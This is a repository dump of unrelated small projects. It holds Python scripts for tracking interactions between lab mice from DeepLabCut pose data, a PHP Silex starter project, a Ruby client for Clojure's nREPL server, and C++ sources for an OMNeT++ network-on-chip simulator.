flag = False
collision_record =[]
for i in range(dfJerry.shape[0]):
m1 = getpoints(dfJerry[DLCscorer_Jerry].iloc[i])
m2 = getpoints(dfMickey[DLCscorer_Mickey].iloc[i])
distances = get_distances(m1,m2)
if(detect_collisions(distances, contact_thresh) and flag == False):
flag =True
collision_roi = get_roi_of_collision(distances, m1,m2)
entry = most_recent_entry(m1,m2,collision_roi,i)
if entry == 1:
collision_record += [[i,1]]
elif entry ==2:
collision_record +=[[i,2]]
else:
flag = False
elif (detect_collisions(distances, contact_thresh) and flag == True):
continue
elif (flag ==True and not detect_collisions(distances, contact_thresh)):
flag = False
df = pd.DataFrame(collision_record, columns = ["Frame","Approacher"])
df.to_csv(save_name+'.csv')
def extract_frames(video, csv_file, dfJerry, dfMickey, DLCscorer_Jerry, DLCscorer_Mickey, collision_frame_arg, pre_frame_arg):
cap = cv2.VideoCapture(video+'.mp4')
framecount = 0
collisions = pd.read_csv(csv_file)
nextframe = collisions.iloc[0]
entrycount= 0
while(True):
ret, frame = cap.read()
if (collision_frame_arg and framecount == nextframe["Frame"]):
m1 = getpoints(dfJerry[DLCscorer_Jerry].iloc[nextframe["Frame"]])
m2 = getpoints(dfMickey[DLCscorer_Mickey].iloc[nextframe["Frame"]])
distances = get_distances(m1,m2)
collision_roi = get_roi_of_collision(distances, m1,m2)
# print(collision_roi)
for i in range(len(m1)):
cv2.circle(frame, (int(m1[i][0]),int(m1[i][1])), 5, (255,0,0),1)
cv2.circle(frame, (int(m2[i][0]),int(m2[i][1])), 5, (0,0,255),1)
cv2.rectangle(frame,(int(collision_roi[0]),int(collision_roi[1])),(int(collision_roi[0]+collision_roi[2]),int(collision_roi[1]+collision_roi[3])),(0,255,0), 1)
cv2.imwrite("results/frames/frame"+str(framecount)+".jpg", frame )
entrycount +=1
if (entrycount>= collisions.shape[0]):
break
nextframe = collisions.iloc[entrycount]
if (pre_frame_arg>0):
if (nextframe["Frame"] - framecount < pre_frame_arg and nextframe["Frame"] - framecount >0) :
m1 = getpoints(dfJerry[DLCscorer_Jerry].iloc[framecount])
m2 = getpoints(dfMickey[DLCscorer_Mickey].iloc[framecount])
distances = get_distances(m1,m2)
for i in range(len(m1)):
cv2.circle(frame, (int(m1[i][0]),int(m1[i][1])), 5, (255,0,0),2)
cv2.circle(frame, (int(m2[i][0]),int(m2[i][1])), 5, (0,0,255),2)
cv2.imwrite("results/precollision/preframe"+str(framecount)+".jpg",frame)
framecount +=1
def get_args():
parser=argparse.ArgumentParser(description= "main method to get a record of interactions",
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument("--save_frame", "-s", default = False , action="store_true", help ="Choose whether you want to save keyframes")
parser.add_argument("--nb_frames", "-f", type = int, default = 0, required=False, help ="number of frames pre keyframes to save")
args= parser.parse_args()
return args
videos = ['pursuit-14_days_post_TN_C57-5-1']
#,'pursuit-14_days_post_TN_C57-5-2','pursuit-14_days_post_TN_C57-5-3','pursuit-14_days_post_TN_C57-5-4','pursuit-14_days_post_TN_C57-5-5','pursuit-14_days_post_TN_C57-5-6']
args = get_args()
save_frames = args.save_frame
num_frames = args.nb_frames
for video in videos:
# Vivian's (MICKEY)
DLCscorer_Mickey='DLC_resnet50_MGH-mouseApr6shuffle1_220500'
dataname_Mickey = 'MGH-mouse-Vivian-Gunawan-2020-04-06/videos/' + str(Path(video).stem) + DLCscorer_Mickey + '.h5'
# Beatrice's (JERRY)
DLCscorer_Jerry='DLC_resnet50_MGH-mouseApr23shuffle1_316500'
dataname_Jerry = 'MGH-mouse-Beatrice-Tanaga-2020-04-23/videos/' + str(Path(video).stem) + DLCscorer_Jerry + '.h5'
#loading output of DLC
dfMickey = pd.read_hdf(os.path.join(dataname_Mickey))
dfJerry = pd.read_hdf(os.path.join(dataname_Jerry))
#using metric of euclidean distance from left ear to right ear as gauge whether the rats are in direct contact
leftx = dfJerry[DLCscorer_Jerry]["leftear"]["x"][1]
lefty = dfJerry[DLCscorer_Jerry]["leftear"]["y"][1]
rightx = dfJerry[DLCscorer_Jerry]["rightear"]["x"][1]
righty = dfJerry[DLCscorer_Jerry]["rightear"]["y"][1]
contact_thresh = math.sqrt((leftx -rightx)**2 + (lefty - righty)**2)
# print(contact_thresh)
# absolute distance between any point is less than
bpt='snout'
Jvel =calc_distance_between_points_in_a_vector_2d(np.vstack([dfJerry[DLCscorer_Jerry][bpt]['x'].values.flatten(), dfJerry[DLCscorer_Jerry][bpt]['y'].values.flatten()]).T)
fps=30 # frame rate of camera in those experiments
time=np.arange(len(Jvel))*1./fps #notice the units of vel are relative pixel distance [per time step]
# store in other variables:
Jxsnout=dfJerry[DLCscorer_Jerry][bpt]['x'].values
Jysnout=dfJerry[DLCscorer_Jerry][bpt]['y'].values
Jvsnout=Jvel
Mvel =calc_distance_between_points_in_a_vector_2d(np.vstack([dfMickey[DLCscorer_Mickey][bpt]['x'].values.flatten(), dfMickey[DLCscorer_Mickey][bpt]['y'].values.flatten()]).T)
Mxsnout=dfMickey[DLCscorer_Mickey][bpt]['x'].values
Mysnout=dfMickey[DLCscorer_Mickey][bpt]['y'].values
Mvsnout=Mvel
bp_tracking_Jerry = np.array((Jxsnout, Jysnout, Jvsnout))
bp_tracking_Mickey = np.array((Mxsnout, Mysnout, Mvsnout))
get_collision_records(dfJerry,dfMickey,DLCscorer_Jerry,DLCscorer_Mickey,video)
print("Collision CSVs can be found in the directory")
extract_frames(video, (video+'.csv'),dfJerry,dfMickey,DLCscorer_Jerry,DLCscorer_Mickey,save_frames,num_frames)<file_sep># ComputerVisionToSupportNeuroscience
🗓 Spring 2020
## Project Description
Mouse Behavioural studies are often conducted in the field of neuroscience. Typically the mouse are monitored for changes in sensory-motor function, social interactions, anxiety/ depressive like behavior and other cognitive functions. Traditionally this is done manually by someone watching the recordings and tracking how the mouse moves and interact with each other. This project uses computer vision to track interactions between mouse and their trajectory.
## Demonstration
### Mouse Trajectory

### Mouse Interactions
Plain Tail Mouse initiates approach | Plain Tail Mouse initiates approach |
--------------- | --------------- |
 | 
## Technical Details
1. Cleaning data

- 30 minute footage of two mice in a “shoebox” set up, are cut down into 6 footages each of 5 minutes duration.
- Frames to be annotated are selected from the videos in a randomly and temporally uniformly distributed way by clustering on visual appearance (K-means).
2. Annotating frames
- Selected frames are manually annotated by placing trackers on snout, ears and tail base
- Usage of pre-trained Resnet 50 networks in transfer learning to annotate frames in between manually annotated frames.
3. Plot Trajectories received from model
4. Back Tracking Algorithm with coordinates to analyze interaction

- Detect interaction (an interaction as the event when the two mice got into close proximity of each other. (within ear to ear distance of each other)
- Take the two closest points between the mice and calculated the middle point of these two points to constructed a "collision region".
- Backtrack through trajectory, the mouse to last enter collision region is the one who initiated the interaction
## Tools
<a href="https://www.python.org" target="_blank" rel="noreferrer"> <img src="https://raw.githubusercontent.com/devicons/devicon/master/icons/python/python-original.svg" alt="python" width="40" height="40"/> </a>
<a href="https://www.tensorflow.org" target="_blank" rel="noreferrer"> <img src="https://www.vectorlogo.zone/logos/tensorflow/tensorflow-icon.svg" alt="tensorflow" width="40" height="40"/> </a>
<a href="https://pandas.pydata.org/" target="_blank" rel="noreferrer"> <img src="https://raw.githubusercontent.com/devicons/devicon/2ae2a900d2f041da66e950e4d48052658d850630/icons/pandas/pandas-original.svg" alt="pandas" width="40" height="40"/> </a>
DeepLabCut
<file_sep>CS 585 Final Project
Project Title: Computer Vision to Support Neuroscience
Group Members: <NAME>, <NAME>, <NAME>
Instructions:
1. Download this directory to your local machine
2. Set up your environment
conda env create -f environment.yml
3. On your terminal/command line interface run "python Interactions.py"
use the "-s" flag to save collision frames
use the "-f" flag followed by the amount of frames before collision frame that you want to save
Results:
1. .csv files for each video could be found in this directory
it shows the results for frame and approaches
2. Collision frames can be found in results/frames directory
3. Pre-collision Frames can be found in results/precollision directory
| c0adfa57c7a636cb3dac239ceae7764f17bb16aa | [
"Markdown",
"Python",
"Text"
] | 4 | Text | VivianGunawan/ComputerVisionToSupportNeuroscience | 0796d31f9f9c6608e18345f1e6737e1c044871e2 | 456ddd0fc63f933fa7837b9a72075666d0ee0180 |
refs/heads/master | <file_sep><?php
namespace TitoMiguelCosta\Controller;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Silex\Application;
/**
* Main controller
*
* @author titomiguelcosta
*/
class DefaultController
{
public function indexAction(Application $app)
{
return $app['twig']->render('index.html.twig', array());
}
}
<file_sep>Silex Bootstrap
===============
This is my standard bootstrap for a new web project that uses the [Silex micro-framework][1].
It has the following advantages:
* defines a file structure for code (config folder for all the configuration, views folder for twig templates, data/cache for twig cache files, data/database/db.sqlite for sqlite database, etc)
* [Zend Framework 2][2] components repository configured in the composer.json file
* registers the main providers commonly used (check config/services.php)
* ready to use with an index.php controller in dev environment
* incorporates [Twitter Bootstrap][3] assets
* has a layout.html.twig that implements the [Initializr][4] recommendations for a valid HTML5 page
* makes use of the [Yui3][5] grid and reset (style tag in the layout.html.twig file)
* uses [composer][6] to manage all dependencies
Instalation
-----------
1. Clone this project
* git clone https://github.com/titomiguelcosta/SilexBootstrap.git YourProjectName
2. Install composer
* cd YourProjectName
* composer.phar update
3. To test, if you have php 5.4, just start server and visit page in your favorite browser
* cd web/
* php -S localhost:8000
* visit htp://localhost:8000/
[1]: http://silex.sensiolabs.org/
[2]: http://framework.zend.com/
[3]: http://twitter.github.com/bootstrap/
[4]: http://www.initializr.com/
[5]: http://yuilibrary.com/projects/yui3/
[6]: http://getcomposer.org/
<file_sep><?php
$app->register(new Silex\Provider\TwigServiceProvider(), array(
'twig.path' => __DIR__ . '/../views',
'twig.options' => array('cache' => __DIR__ . '/../data/cache'),
));
$app->register(new Silex\Provider\UrlGeneratorServiceProvider(), array(
));<file_sep><?php
//$app['dispatcher']->addListener(TitoMiguelCosta\Event\Contact::SUBMIT, array('TitoMiguelCosta\Listener\Contact', 'db'));<file_sep><?php
$app->get('/', 'TitoMiguelCosta\Controller\DefaultController::indexAction')->bind('homepage');<file_sep><?php
namespace src\TitoMiguelCosta\Controller;
use TitoMiguelCosta\Controller\DefaultController;
class DefaultControllerTest extends \PHPUnit_Framework_TestCase
{
public function testOutput()
{
$this->assertSame(2+2, 4);
}
} | 283adfdc9b727582a4e5e039feb2eb0b6e43627a | [
"Markdown",
"PHP"
] | 6 | PHP | titomiguelcosta/SilexBootstrap | e8e495bfff81a962fa42bdf81a6fc8f31869d012 | 87145c3fc98101dbdaba61ee0173ab357e5753af |
refs/heads/master | <repo_name>Dirklectisch/ruby-nrepl<file_sep>/lib/nrepl/core_ext/securerandom.rb
# Backport of secure random's UUID generation from: http://softover.com/UUID_in_Ruby_1.8
RUBY_VERSION ||= VERSION
if RUBY_VERSION.split('.').join.to_i < 190
module SecureRandom
class << self
def method_missing(method_sym, *arguments, &block)
case method_sym
when :urlsafe_base64
r19_urlsafe_base64(*arguments)
when :uuid
r19_uuid(*arguments)
else
super
end
end
private
def r19_urlsafe_base64(n=nil, padding=false)
s = [random_bytes(n)].pack("m*")
s.delete!("\n")
s.tr!("+/", "-_")
s.delete!("=") if !padding
s
end
def r19_uuid
ary = random_bytes(16).unpack("NnnnnN")
ary[2] = (ary[2] & 0x0fff) | 0x4000
ary[3] = (ary[3] & 0x3fff) | 0x8000
"%08x-%04x-%04x-%04x-%04x%08x" % ary
end
end
end
end<file_sep>/README.md
# ruby-nREPL #
The Clojure network REPL is a REPL build using a client-server architecture. It is specifically build so that it is easy to extend with new clients that can be used in other (non Clojure environments). Ruby-nREPL is such a client written in ruby. It can be used to communicate with a Clojure nREPL server instance programmatically from Ruby.
It is NOT an alternative REPL implementation for Ruby or a replacement for Ruby's irb. My main goal with this library is enabling support for Clojure in Ruby based development tools such as Textmate.
## Alternatives ##
There are many different nREPL clients the main ones are listed in the Clojure nREPL Readme. My advice is to use any one of those if it fits your needs, they are without exception more mature clients.
If you need Ruby client there are also several alternatives. Most of them didn't fit my taste for several reasons:
- More external dependencies that are not really necessary.
- Dirty implementation when retrieving messages from the socket.
One other difference is that ruby-nREPL is written in more idiomatic Ruby which allows for cleaner composition. A trade off when using this library is that it requires Ruby 2.X or above at the moment because of its use of lazy enumerators.
## Installation ##
I will package this as a Ruby gem once I feel it is stable enough to be used by others. But if you really want to try it now it is good to know that it depends on Ruby 2.X and one external gem ruby-bencode.
## Example ##
Examples to follow later.
## Documentation ##
Link to the docs once they are written.
## Contribution guidelines ##
Tell me how I can help out including wanted features and code standards.
## Contributor list ##
- <NAME>
<file_sep>/test/server.rb
require 'minitest/spec'
require 'minitest/autorun'
require 'nrepl'
describe NREPL do
it "starts, connects, disconnects and stops an nrepl server/session" do
session = NREPL.start_and_connect(57519)
NREPL.disconnect_and_stop(session).must_equal(true)
end
it "waits for the local server to start and stop" do
# Start a new nREPL server
pid = NREPL.start(57519)
# Wait for nREPL server to start
pid_waiter = NREPL.wait_until_ready(pid)
pid_waiter.alive?.must_equal(true)
pid_waiter.status.must_equal('sleep') # Hopefully ready for IO
NREPL.stop(pid)
# Wait for nREPL to stop
pid_waiter.join
pid_waiter.alive?.must_equal(false)
end
it "throws an error when waiting for an invalid process" do
pid = 57519
begin
NREPL.wait_until_ready(pid)
rescue => e
e.must_be_instance_of RuntimeError
end
end
it "checks if the remote port is open" do
port = 57519
begin
NREPL.port_open?('127.0.0.1', port)
rescue => e
e.must_be_instance_of Errno::ECONNREFUSED
end
end
it "waits until port is available for connection" do
pid = NREPL.start(57519)
pid_waiter = NREPL.wait_until_ready(pid)
NREPL.wait_until_available(57519, 10).must_equal(true)
NREPL.stop(pid)
pid_waiter.join
end
end
<file_sep>/lib/nrepl/session.rb
require 'socket'
require 'bencode'
require 'securerandom'
require 'nrepl/core_ext/securerandom'
require 'nrepl/core_ext/enumerable'
require 'nrepl/core_ext/enumerator_lazy'
require 'nrepl/response_helpers'
module NREPL
class Session
attr_reader :responses, :session_id
attr_accessor :out
include NREPL::ResponseHelpers
def initialize host = '127.0.0.1', port
@host = host
@port = port
@conn = TCPSocket.new host, port
@parser = BEncode::Parser.new(@conn)
@out = $stdout
# Create a lazy enumerator that caches responses
cache = []
@responses = Enumerator.new do |y|
head = 0
while head < cache.count
y << cache[head]
head += 1
end
while msg = @parser.parse!
cache << msg
y << msg
end
end
# Clone a new session to aquire a session_id
@session_id = self.op(:clone)
.select(&has_('new-session'))
.first['new-session']
end
def send message
msg = message.dup
msg['id'] ||= SecureRandom.uuid
@conn.write(msg.bencode)
msg['id']
end
def recv msg_id
@responses.lazy.select(&where_id(msg_id))
.take_until(&is_done)
end
def raw message
recv(send(message))
end
def op name, opts = {}
# Convert keyword keys to strings
opts.keys.each do |key|
opts[key.to_s] = opts.delete(key)
end
opts['op'] = name.to_s
raw(opts)
end
def eval code
resps = op(:eval, code: code, session: session_id).force
resps.map(&print_out(@out))
vals = resps.select(&has_value).map(&select_value)
vals.size == 1 ? vals.first : vals
end
# TODO: Prevent blocking on interruption error
def interrupt msg_id = nil
new_session = NREPL::Session.new(@host, @port)
unless msg_id
res = new_session.op(:interrupt, session: session_id).force
else
res = new_session.op(:interrupt, { :session => session_id, :"interrupt-id" => msg_id }).force
end
new_session.close
res
end
def close
op(:close, session: session_id)
@conn.close
end
end
end
<file_sep>/test/session.rb
require 'minitest/spec'
require 'minitest/unit'
require 'minitest/autorun'
require 'nrepl'
require 'stringio'
include NREPL::ResponseHelpers
port = 57519
unless NREPL.port_open?('127.0.0.1', port)
# Start a nREPL server
persistent_server = false
Dir.chdir(File.dirname(__FILE__) + "/fixtures")
pid = NREPL.start(port)
pid_waiter = NREPL.wait_until_ready(pid)
else
persistent_server = true
end
describe NREPL::Session do
before do
NREPL.wait_until_available(port, NREPL::DEFAULT_CONNECTION_TIMEOUT)
@session = NREPL::Session.new(port)
end
it "sends and receives a single message" do
msg = {
'op' => 'describe'
}
msg_id = @session.send(msg)
resp = @session.recv(msg_id)
resp.first['id'].must_equal(msg_id)
end
it "sends and receives a multi part message" do
msg = {
'op' => 'eval',
'code' => '(+ 2 3)'
}
resps = @session.recv(@session.send(msg))
resps.count.must_be(:>, 1)
end
it "filters response values from the response message stream" do
vals = @session.eval('(+ 2 3) (+ 4 5)')
vals.first.must_equal("5")
vals.last.must_equal("9")
end
it "prints output to defined io pipe" do
string_io = StringIO.new
@session.out = string_io
@session.eval('(print "foo") (print "bar")')
string_io.string.must_equal("foo\nbar\n")
end
it "sends and receives multiple messages" do
msg = {
'op' => 'describe'
}
2.times { @session.send(msg) }
resps = @session.responses.take(2)
resps.count.must_be(:==, 2)
resps.first['id'].wont_equal( resps.last['id'] )
end
it 'caches responses' do
msg = {
'op' => 'describe'
}
3.times { @session.send(msg) }
resps_one = @session.responses.take(3)
resps_two = @session.responses.take(3)
resps_one.must_equal( resps_two )
end
it "times out if no response is given within time limit" do
begin
@session.responses.with_timeout(0.1).take(1)
rescue Timeout::Error => e
e.must_be_instance_of Timeout::Error
end
end
it "has a session id" do
@session.session_id.wont_be_nil
end
it "is possible to interrupt an eval request" do
t = Thread.new do
@session.op(:eval, code: '(Thread/sleep 10000)', session: @session.session_id)
end
res = @session.interrupt
t.join
res.first['status'].must_equal(["done"])
msg = {
'op' => 'eval',
'code' => '(Thread/sleep 10000)',
'session' => @session.session_id
}
msg_id = @session.send(msg)
ress = @session.interrupt(msg_id)
ress.first['status'].must_equal(["done"])
end
after do
@session.close
end
end
MiniTest::Unit.after_tests do
unless persistent_server == true
# Stop nREPL server
NREPL.stop(pid)
pid_waiter.join
end
end
<file_sep>/lib/nrepl.rb
require 'nrepl/session'
require 'socket'
require 'timeout'
module NREPL
DEFAULT_CONNECTION_TIMEOUT = 60
def self.start_and_connect host = '127.0.0.1', port
pid = start(host, port)
wait_until_ready(pid)
wait_until_available(host, port, DEFAULT_CONNECTION_TIMEOUT)
session = connect(host, port)
set_pid_msg = {
'op' => 'eval',
'code' => "(def user/lein-gid #{pid})"
}
session.op(set_pid_msg)
# TODO: Implement some kind of clearing mechanism
#session.clear!
session
end
def self.disconnect_and_stop session
get_pid_msg = {
'op' => 'eval',
'code' => "user/lein-gid"
}
resp = session.op(get_pid_msg)
session.close
stop(resp.first.to_i)
true
end
def self.connect host = '127.0.0.1', port
Session.new host, port
end
def self.wait_until_available host = '127.0.0.1', port, seconds
Timeout::timeout(seconds) do
sleep(1) until port_open? host, port
return true
end
return false
end
def self.port_open? host, port
begin
TCPSocket.new(host, port).close
true
rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH
false
end
end
def self.start host = '127.0.0.1', port
# Start a new nREPL process
cmd = %x[which lein].rstrip
cmd = '/usr/local/bin/lein' if cmd.empty?
argv = []
argv << 'trampoline' if File.exist?('project.clj')
argv += ['repl', ':headless']
argv += [':host', host.to_s] if host
argv += [':port', port.to_s] if port
pid = fork do
exec cmd, *argv
end
Process.setpgid(pid, pid)
pid
end
def self.wait_until_ready pid
pid_waiter = Thread.new { Process.wait(pid) }
sleep(1) while pid_waiter.status == 'run'
if pid_waiter.status == 'sleep'
return pid_waiter
else
raise "Process #{pid} killed, crashed or aborted."
end
end
def self.stop gid
unless gid == 0
Process.kill('SIGTERM', -gid)
end
end
end
| 89daf3fc05b095c39df3b7159e3775aeca097b85 | [
"Markdown",
"Ruby"
] | 6 | Ruby | Dirklectisch/ruby-nrepl | 11989c25b45abb4a5c378c5410b5d5dd0e9931c1 | 311a943bfb5b15c4cc379d847ea3adb8662fbaf7 |
refs/heads/master | <repo_name>aladin2015/FTNOCSIM<file_sep>/FTNOCSIM/src/Node/Core/Source/TaskGraphModel/Trigger.cc
/*
* Trigger.cc
*
* Created on: 27 mars 2015
* Author: mehdi
*/
#include <Trigger.h>
Trigger::Trigger() {
// TODO Auto-generated constructor stub
}
Trigger::~Trigger() {
// TODO Auto-generated destructor stub
}
double Trigger::execTrigger()
{
bool exec=true;
for(unsigned int i=0;i<this->triggerExecs.size();i++)
{
exec=true;
//std::cout << this->opInputsTab[0] << " "<< triggerExecs[i]->getModPeriod() << " " << triggerExecs[i]->getModPhase() << " " << this->triggerExecs[i]->getMin() << " " << this->triggerExecs[i]->getMax() << endl;
if(this->triggerExecs[i]->getMin()>=0 && (this->numActivation)%this->triggerExecs[i]->getModPeriod() < this->triggerExecs[i]->getMin())
{
exec=false;
}
else if(this->triggerExecs[i]->getMax()>=0 && this->numActivation%this->triggerExecs[i]->getModPeriod() > this->triggerExecs[i]->getMax()) exec=false;
else if(this->triggerExecs[i]->getModPhase()>=0 && !(this->numActivation%this->triggerExecs[i]->getModPeriod()==this->triggerExecs[i]->getModPhase())) exec=false;
//std::cout << this->getOpInputsTabElm(0) <<" " <<this->triggerExecs[i]->getModPhase() <<" "<<exec<< endl;
//std::cout <<this->getOpInputsTabElm(0) <<" " << this->triggerExecs[i]->getMin() << " " << this->triggerExecs[i]->getMax() << " " << this->triggerExecs[i]->getModPeriod() <<" " <<this->triggerExecs[i]->getModPhase() << " " << this->numActivation << " " << exec<< endl;
//if(this->triggerExecs[i]->getMax()>=0 && this->numActivation%this->triggerExecs[i]->getModPeriod() > this->triggerExecs[i]->getMax()) std::cout << "dd " << this->triggerExecs[i]->getMax() << endl;;
if(exec)
{
this->numActivation+=1;
return i;
}
}
this->numActivation+=1;
return -1;
}
int Trigger::getTokenOp()
{
return this->tokenOp;
}
int Trigger::getOpInputsTabElm(int index)
{
return this->opInputsTab[index];
}
void Trigger::addToOpInputsTab(int input)
{
this->opInputsTab.push_back(input);
}
int Trigger::getOpInputsTabSize()
{
return this->opInputsTab.size();
}
TriggerExec* Trigger::getExecTriggerElm(int index)
{
return this->triggerExecs[index];
}
void Trigger::addToTriggerExecTab(TriggerExec* tre)
{
this->triggerExecs.push_back(tre);
}
void Trigger::setTokenOp(int tokenOp)
{
this->tokenOp=tokenOp;
}
<file_sep>/FTNOCSIM/simulations/omnetpp.ini
[General]
network = "ftnocsim.Network.Mesh2D.Mesh2D"
**.sourceName = "ftnocsim.Node.Core.Source.ProbabilisticModel.ProbabilisticModel"
**.adapterName = "ftnocsim.Node.NetworkAdapter.SimpleNA.SimpleNA"
**.routerName = "ftnocsim.Node.Router.VirtualChannelRouter.VirtualChannelRouter"
**.inputUnitType = "ftnocsim.Node.Router.VirtualChannelRouter.InputUnit.InputUnit"
**.vcAllocatorType = "ftnocsim.Node.Router.VirtualChannelRouter.VCAllocator.VCAllocator"
**.switchAllocatorType = "ftnocsim.Node.Router.VirtualChannelRouter.SwitchAllocator.SwitchAllocator"
**.flowControlType = "ftnocsim.Node.Router.VirtualChannelRouter.FlowControlUnit.CreditBased.CreditBased"
**.bufferLenght = 4
**.nbVCs = 2
**.ClkCycle = 2ns
<file_sep>/FTNOCSIM/src/Node/Core/Source/ProbabilisticModel/ProbabilisticModel.h
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with this program. If not, see http://www.gnu.org/licenses/.
//
#ifndef __FTNOCSIM_PROBABILISTICMODEL_H_
#define __FTNOCSIM_PROBABILISTICMODEL_H_
#include <omnetpp.h>
#include <string.h>
#include <NoCMsg_m.h>
#include "TrafficGeneration.h"
#include "PacketSizeDistribution.h"
#include "SpatialDistribution.h"
#include "TempralDistribution.h"
#include "SDUniform.h"
#include "SDDeterministic.h"
#include "SDHotspot.h"
#include "SDNeD.h" // MEH2
#include "TDConstant.h"
#include "TDUniform.h"
#include "TDExponential.h"
#include "PSDConstant.h"
#include "PSDUniform.h"
#include "ProbabilisticTraffic.h"
using namespace std;
/**
* TODO - Generated class
*/
class ProbabilisticModel : public cSimpleModule
{
private:
TrafficGeneration* trafficGenerator;
TempralDistribution* TD;
SpatialDistribution* SD;
PacketSizeDistribution* PSD;
int secondFlit;
int flitsCounter;
int flitLength;
cOutVector flitsCounterVector;
cOutVector packetsCounterVector;
int nbColumns;
int nbRows;
int nbVCs;
int numVCs;
int packetsCounter;
int x;
int y;
protected:
virtual void initialize();
virtual void handleMessage(cMessage *msg);
virtual void finish();
virtual Flit* createHeadFlit(int dx, int dy, int numVC);
virtual Flit* createTailFlit(int numVC, int index);
virtual Flit* createDataFlit(int numVC,int index);
public:
//virtual simtime_t getNextEventTime();
//virtual void getDestination(int *x, int *y);
//virtual int getPacketLenght();
};
#endif
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/InputUnit/InputUnit.h
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with this program. If not, see http://www.gnu.org/licenses/.
//
#ifndef __FTNOCSIM_INPUTUNITXY_H_
#define __FTNOCSIM_INPUTUNITXY_H_
#include <omnetpp.h>
#include <NoCMsg_m.h>
#include <VirtualChannel.h>
#include <RoutingFunction.h>
#include <FaultInjector.h> // MEH 4
extern "C"
{
#include "OrionPowerModelC.h"
void initOrion();
double getBufferEnergy(double buf_read, double buf_write);
double getSWLocalArbiterEnergy(double avgSWLocalArbCount);
}
using namespace std;
/**
* TODO - Generated class
*/
class InputUnit : public cSimpleModule
{
public:
VirtualChannel* getVirtualChannel(int numVC) const;
virtual int getX();
virtual int getY();
private:
vector<VirtualChannel *> *virtualChannels;
int numPort;
int nbVCs;
int bufferLenght;
int curVC;
RoutingFunction *routingFunction;
int x;
int y;
int lastForwardedVC;
double ClkCycle;
ClkMsg *clkMsg;
//Dimensions of the NoC
int dimX;
int dimY;
int readCounter;
int writeCounter;
int dropFlitsCounter;
int localSWArbCounter;
cOutVector bufferAvgEnergy;
cOutVector localSWArbEnergy;
cOutVector dropFlitsVect;
cOutVector FlitRouterLatency;
protected:
virtual void initialize();
virtual void handleMessage(cMessage *msg);
virtual void finish();
virtual void inputControler(Flit *f);
virtual void insertFlit(int ind,Flit *f);
virtual void outputControler();
virtual void flitForwarding();
virtual void initNeighborsFaultInfo(cXMLElement* source);
};
#endif
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/InputUnit/XY/XYRoutingFunction.h
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with this program. If not, see http://www.gnu.org/licenses/.
//
#ifndef XYROUTINGFUNCTION_H_
#define XYROUTINGFUNCTION_H_
#include <NoCMsg_m.h>
#include <Path.h>
#include <RoutingFunction.h>
using namespace std;
class XYRoutingFunction : public RoutingFunction {
public:
XYRoutingFunction(int x,int y,int dimX,int dimY,int nbVCs,bool* neighborsFaultInfo);
virtual ~XYRoutingFunction();
virtual vector<Path *> *routeCalc(Flit *f);
virtual void updateNeighborsFaultInfo(int direction,bool neighborState);
};
#endif /* ROUTINGFUNCTION_H_ */
<file_sep>/FTNOCSIM/src/Node/Core/Source/TaskGraphModel/Task.h
/*
* Task.h
*
* Created on: 27 mars 2015
* Author: mehdi
*/
#ifndef TASK_H_
#define TASK_H_
#include <omnetpp.h>
#include "Trigger.h"
class Task {
private:
int id;
std::vector<Trigger*> triggers;
public:
std::map<int,int> tokensTab;
Task(int id);
virtual ~Task();
virtual void incrementTokensTab(int input);
virtual int startTrigger(int triggerIndex);
virtual int getId();
virtual int getNbTriggers();
virtual Trigger* getTrigger(int index);
virtual std::map<int,int> getTokensTab();
virtual void addToTriggersTab(Trigger* tr);
};
#endif /* TASK_H_ */
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/SwitchAllocator/SwitchAllocator.cc
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with this program. If not, see http://www.gnu.org/licenses/.
//
#include "SwitchAllocator.h"
#include <InputUnit.h>
#include <CreditBased.h>
Define_Module(SwitchAllocator);
void SwitchAllocator::initialize()
{
// TODO - Generated method body
nbPorts = getParentModule()->par("nbInputUnits").longValue();
nbVCs = getParentModule()->par("nbVCs").longValue();
switchTable = dynamic_cast<Switch *>(getParentModule()->getSubmodule("switch"));
ClkCycle = getParentModule()->getParentModule()->getParentModule()->par("ClkCycle");
clkMsg = new ClkMsg;
clkMsg->setKind(CLK_MSG);
scheduleAt(simTime()+ClkCycle,clkMsg);
globalArbiterAvgEnergy.setName("globalSwitchArbiterAvgEnergy");
globalArbCounter = 0;
}
void SwitchAllocator::handleMessage(cMessage *msg)
{
// TODO - Generated method body
switch(msg->getKind())
{
case CLK_MSG:
switchAllocation();
scheduleAt(simTime() + ClkCycle,clkMsg);
break;
}
}
void SwitchAllocator::finish()
{
initOrion();
double AvgEnergy = getSWGlobalArbiterEnergy(globalArbCounter/(simTime().dbl()/ClkCycle));
